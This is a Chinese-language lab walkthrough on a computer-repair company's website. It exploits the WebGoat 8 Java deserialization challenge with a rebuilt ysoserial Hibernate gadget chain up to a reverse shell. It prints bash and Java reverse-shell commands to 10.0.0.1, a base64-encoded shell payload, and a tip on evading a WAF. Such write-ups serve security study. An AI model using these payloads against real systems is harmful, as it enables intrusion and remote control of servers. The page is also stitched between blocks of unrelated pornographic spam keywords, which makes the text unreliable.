国产精品久av福利在线观看_亚洲一区国产精品_亚洲黄色一区二区三区_欧美成人xxxx_国产精品www_xxxxx欧美_国产精品久久婷婷六月丁香_国产特级毛片

錦州市廣廈電腦維修|上門維修電腦|上門做系統|0416-3905144熱誠服務,錦州廣廈維修電腦,公司IT外包服務
topFlag1 設為首頁
topFlag3 收藏本站
 
maojin003 首 頁 公司介紹 服務項目 服務報價 維修流程 IT外包服務 服務器維護 技術文章 常見故障
錦州市廣廈電腦維修|上門維修電腦|上門做系統|0416-3905144熱誠服務技術文章
Java反序列化漏洞:在受限環境中從漏洞發現到獲取反向Shell

作者: 佚名  日期:2018-11-10 14:52:28   來源: 本站整理

 Java反序列化漏洞可以說是Java安全的一塊心病,近年來更是在安全界“出盡風頭”。其實說到Java反序列化的問題,早在2015年年初的在AppSecCali大會上,兩名安全研究人員Chris Frohoff 和 Gabriel Lawrence發表了一篇題為《Marshalling Pickles》的報告,就詳細描述了Java反序列化漏洞可以利用Apache Commons Collections這個常用的Java庫來實現任意代碼執行,甚至還提供了相應的Payload生成工具ysoserial。
通過對象序列化,開發人員可將內存中對象轉換為二進制和文本數據格式進行存儲或傳輸。但是,從不受信任的數據反序列化對象可能會導致攻擊者實現遠程代碼執行。
本文我將以WebGoat 8中的反序列化挑戰(部署在Docker上)為例,向大家展示完成該挑戰并進一步獲取目標反向shell的完整過程。
漏洞發現
正如挑戰中所提到的,易受攻擊的頁面從用戶輸入中獲取Base64格式的序列化Java對象,并不加過濾的對其進行反序列化操作。我們將通過提供一個序列化對象來利用這個漏洞,該對象將觸發面向屬性的編程鏈(POP鏈)以在反序列化期間實現遠程命令執行。

啟動Burp并安裝一個名為Java-Deserialization-Scanner的插件。該插件主要包括2個功能:掃描以及基于ysoserial生成exploit。

掃描遠程端點后,Burp插件將向我們返回以下報告內容:
Hibernate 5 (Sleep): Potentially VULNERABLE!!!
是個好消息!
漏洞利用
現在,讓我們繼續下一步操作。點擊exploitation選項卡以實現任意命令執行。

從提示信息來看,這個錯誤應該來自ysoserial。我們回到控制臺看看究竟是什么問題。

通過觀察ysoserial,我看到有兩種不同的POP鏈可用于Hibernate。但使用這些payload后,我發現它們都沒有在目標系統上成功執行。

那么,插件又是如何生成payload來觸發sleep命令的呢?
我決定查看插件的源碼:
https://github.com/federicodotta/Java-Deserialization-Scanner/blob/master/src/burp/BurpExtender.java
經過一番仔細查看,我發現原來payload在插件的源碼中是硬編碼的。因此,我們需要找到一種方法來生成相同的payload以使其正常工作。

基于一些研究和幫助我發現,通過修改當前版本的ysoserial可以使我們的payload正常工作。我下載了ysoserial的源碼,并決定使用Hibernate 5重新對其進行編譯。想要使用Hibernate 5成功構建ysoserial,我們還需要將javax.el包添加到pom.xml文件中。
此外,我還向原始項目發送了一個Pull請求,以便在選擇hibernate5配置文件時修復構建。

現在,我們就可以使用以下命令開始重新構建ysoserial了:
mvn clean package -DskipTests -Dhibernate5
然后,我們使用以下命令來生成payload:
java -Dhibernate5 -jar target/ysoserial-0.0.6-SNAPSHOT-all.jar Hibernate1 "touch /tmp/test" | base64 -w0

我們可以通過以下命令訪問docker容器,來驗證我們的命令是否已成功執行:
docker exec -it /bin/bash
可以看到我們的payload已在目標機器上成功執行了!

我們繼續枚舉目標機器上的二進制文件。
webgoat@1d142ccc69ec:/$ which php webgoat@1d142ccc69ec:/$ which python webgoat@1d142ccc69ec:/$ which python3 webgoat@1d142ccc69ec:/$ which wget webgoat@1d142ccc69ec:/$ which curl webgoat@1d142ccc69ec:/$ which nc webgoat@1d142ccc69ec:/$ which perl /usr/bin/perl webgoat@1d142ccc69ec:/$ which bash /bin/bash webgoat@1d142ccc69ec:/$
只有Perl和Bash可用。讓我們嘗試生成一個可向我們發送反向shell的payload。
以下是Pentest Monkeys上的一些單行反向shell:
http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet我決定嘗試Bash反向shell:
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
但你可能知道java.lang.Runtime.exec()具有一定的局限性,它不支持重定向或管道等shell操作符。
讓我們試試Java編寫的反向shell。我將修改Gadgets.java上的源碼,來生成反向shell payload。
以下是我們需要修改的路徑:
/root/ysoserial/src/main/java/ysoserial/payloads/util/Gadgets.java
從第116到118行。
下面是Pentest Monkeys上提到的一個Java反向shell,但依然無法正常工作:
r = Runtime.getRuntime() p = r.exec(["/bin/bash","-c","exec 5/dev/tcp/10.0.0.1/2002;cat &5 >&5; done"] as String[]) p.waitFor()
在進行了一番修改后,結果如下:
String cmd = "java.lang.Runtime.getRuntime().exec(new String []{\"/bin/bash\",\"-c\",\"exec 5/dev/tcp/10.0.0.1/8080;cat &5 >&5; done\"}).waitFor();"; clazz.makeClassInitializer().insertAfter(cmd);
讓我們再次重建ysoserial,并測試生成的payload。

可以看到,這次我們成功獲取到了一個反向shell!

太棒了!

Payload生成過程概述
在研究過程中,我們發現了這個編碼器,它也可以幫助我們完成這個任務:
http://jackson.thuraisamy.me/runtime-exec-payloads.html
通過以下Bash反向shell命令:
bash -i >& /dev/tcp/[IP address]/[port] 0>&1
將會為我們生成如下payload:
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xMC4xLzgwODAgMD4mMQ==}|{base64,-d}|{bash,-i}
另外,該編碼器還可用于繞過WAF哦!不信你就試試~
參考文獻
1、https://nickbloor.co.uk/2017/08/13/attacking-java-deserialization/
2、http://www.pwntester.com/blog/2013/12/16/cve-2011-2894-deserialization-spring-rce/
3、https://github.com/frohoff/ysoserial
4、https://github.com/federicodotta/Java-Deserialization-Scanner



熱門文章
  • 機械革命S1 PRO-02 開機不顯示 黑...
  • 聯想ThinkPad NM-C641上電掉電點不...
  • 三星一體激光打印機SCX-4521F維修...
  • 通過串口命令查看EMMC擦寫次數和判...
  • IIS 8 開啟 GZIP壓縮來減少網絡請求...
  • 索尼kd-49x7500e背光一半暗且閃爍 ...
  • 樓宇對講門禁讀卡異常維修,讀卡芯...
  • 新款海信電視機始終停留在開機界面...
  • 常見打印機清零步驟
  • 安裝驅動時提示不包含數字簽名的解...
  • 共享打印機需要密碼的解決方法
  • 圖解Windows 7系統快速共享打印機的...
  • 錦州廣廈電腦上門維修

    報修電話:13840665804  QQ:174984393 (聯系人:毛先生)   
    E-Mail:174984393@qq.com
    維修中心地址:錦州廣廈電腦城
    ICP備案/許可證號:遼ICP備2023002984號-1
    上門服務區域: 遼寧錦州市區
    主要業務: 修電腦,電腦修理,電腦維護,上門維修電腦,黑屏藍屏死機故障排除,無線上網設置,IT服務外包,局域網組建,ADSL共享上網,路由器設置,數據恢復,密碼破解,光盤刻錄制作等服務

    技術支持:微軟等
    亚洲一区自拍| 青青在线视频观看| 国产无限制自拍| www.精品在线| 国产精品久久久久无码av色戒| 日韩精品视频免费播放| 精品人妻一区二区三区浪潮在线| 欧美一区二区三区久久综合| 美女被艹网站| 国产在线视频网址| 成人在线黄色| 五月天久久久| 成人午夜碰碰视频| 黄网站色欧美视频| 欧美tk—视频vk| 69影院欧美专区视频| 国产一区免费| www.99在线| 日韩a级片在线观看| 午夜精品久久久久久久99 | 国产精品激情自拍| 日韩视频在线播放| 亚洲av午夜精品一区二区三区| 中文字幕在线导航| 开心激情五月网| 韩国av在线免费观看| 国产夫妻视频| 中文字幕在线免费观看视频| 欧美一级淫片| 成人av资源在线| 欧美精品xxxxbbbb| 2019中文字幕全在线观看| 免费看av软件| b站大片免费直播| 国产精品815.cc红桃| 国产夫妻自拍av| 天堂中文字幕一二区| 黄毛片在线观看| 911精品美国片911久久久| www.色精品| 欧美成人官网二区| 亚洲最大福利视频网| 性欧美videossex精品| 久久人妻免费视频| jizzjizzjizzjizz日本老师| 涩涩视频在线播放| 国产亚洲午夜| 亚洲成人一区二区在线观看| 91国产成人在线| 91国内产香蕉| 男人舔女人下面高潮视频| 91av在线免费视频| 天天操夜夜操天天射| 户外露出一区二区三区| 99精品国产99久久久久久福利| 亚洲午夜一二三区视频| 久久久久久久久久久人体| 日韩成人三级视频| 国产精品999在线观看| 麻豆美女网站| 99精品国产高清一区二区麻豆| 粉嫩久久99精品久久久久久夜| 精品国产3级a| 精品卡一卡二| 亚洲毛片亚洲毛片亚洲毛片| 国产区成人精品视频| xxx欧美xxx| 久久99九九99精品| 日韩av在线资源| 午夜精品一区二区在线观看 | 男女羞羞视频网站| 136福利精品导航| 久久综合色之久久综合| 久久久精品999| 国产成人精品无码播放| 99精品在线视频观看| 天堂中文8资源在线8| 一区精品久久| 777a∨成人精品桃花网| 久久国产精品亚洲va麻豆| 天天操天天摸天天舔| 天天摸天天干| 免费毛片在线不卡| 亚洲成人一区二区在线观看| 96精品久久久久中文字幕| 无码国产69精品久久久久同性| 色多多视频网站| 大桥未久女教师av一区二区| 亚洲欧美一区二区视频| 国产精品久久久久久久av大片| 三级男人添奶爽爽爽视频| 蝌蚪91视频| 美女一区2区| 无码av中文一区二区三区桃花岛| 91传媒在线免费观看| 5566中文字幕| 领导边摸边吃奶边做爽在线观看 | 成人小视频免费在线观看| 亚洲国产精品一区二区久久恐怖片| 青青久久av北条麻妃海外网| 日本黄色网址大全| 天天av天天爽| 午夜精品视频一区二区三区在线看| 欧美日韩一区二区在线视频| 一区二区免费电影| 国产精品爽爽久久| 人妻激情另类乱人伦人妻| 国产色婷婷亚洲99精品小说| 精品中文字幕不卡在线视频| 久久人人爽人人爽人人片av高清| 激情av在线播放| 三日本三级少妇三级99| 亚洲香蕉伊在人在线观| 福利网站在线观看| 蜜桃一区二区| 色婷婷综合激情| 中文精品视频一区二区在线观看| 一区二区三区免费观看视频| 在线观看涩涩| 亚洲欧美另类综合偷拍| 精品伦理一区二区三区| 久久久999久久久| 天堂а√在线最新版中文在线| 国产精品情趣视频| 精品一区久久| 国产美女自慰在线观看| 亚洲精品自拍| 天涯成人国产亚洲精品一区av| 日本不卡在线观看| 丰满岳乱妇国产精品一区| 99热这里有精品| 欧美视频一区二区三区| 亚洲 欧美 日韩 国产综合 在线| 久热中文字幕在线精品免费| 日韩av大片| 亚洲欧美国产精品久久久久久久| 99久久综合网| 一级视频在线免费观看| 粉嫩欧美一区二区三区高清影视| 91精品久久久久久久久| 久久久久亚洲视频| 一区二区三区无毛| 欧美精品久久一区二区三区| 亚州精品一二三区| 免费av片风间由美在线| 国产在线一区观看| 91亚洲永久免费精品| 国产一区二区三区成人| 999精品视频在这里| 亚洲成色777777在线观看影院| 国产性猛交96| 国产视频在线看| 国产精品看片你懂得| 一区二区三区国| 影音先锋5566资源网| 天堂在线亚洲视频| 国产欧美一区二区白浆黑人| 国产精品一品二区三区的使用体验| 超碰97久久| 亚洲欧美日韩天堂| 天堂av免费在线| 成人勉费视频| 日韩亚洲欧美成人一区| 女同性恋一区二区三区| 超碰电影在线播放| 色综合久久66| 999久久久精品视频| caoporn国产精品免费视频| 亚洲色图视频网| 777777av| 性欧美精品孕妇| 一区二区视频免费在线观看| 国产成人精品视频免费看| 领导边摸边吃奶边做爽在线观看 | 免费成人深夜夜行网站| 中文字幕在线官网| 精品99999| 男人av资源站| 四虎国产精品永久在线国在线| 日韩电影中文 亚洲精品乱码| 国精产品视频一二二区| 亚洲a∨精品一区二区三区导航| 欧美精品一区二区三区在线| 日韩在线观看免| 久久综合给合| 久久视频免费观看| 亚洲最大成人在线视频| 99久久婷婷这里只有精品| 国产成人一区二区三区电影| 亚洲免费黄色片| 可以免费看不卡的av网站| 久久国产精品久久精品国产| 黄瓜视频在线观看| 国产欧美一区二区精品性| 成年人视频在线免费| 婷婷国产成人久久精品激情| 日韩成人伦理电影在线观看| 欧美日韩天天操| 亚洲精品666| 性久久久久久久|